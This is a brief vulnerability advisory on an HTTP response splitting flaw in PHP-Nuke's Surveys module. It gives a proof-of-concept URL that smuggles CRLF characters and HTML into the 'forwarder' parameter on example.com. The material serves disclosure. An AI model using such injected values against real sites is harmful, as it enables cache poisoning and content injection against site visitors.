|
PHP-Nuke Surveys Module HTTP Response Splitting Vulnerability
No exploit is required. The following proof of concept is available: http://www.example.com/modules.php?name=Surveys&pollID=1&forwarder=%0d%0a%0d%0a%3Chtml%3EHELLO AM VULNERABLE TO HTTP RESPONSE SPLITTING%3C/html%3E&voteID=1&voteID=2&voteID=3&voteID=4&voteID=5 |
|
|
Privacy Statement |
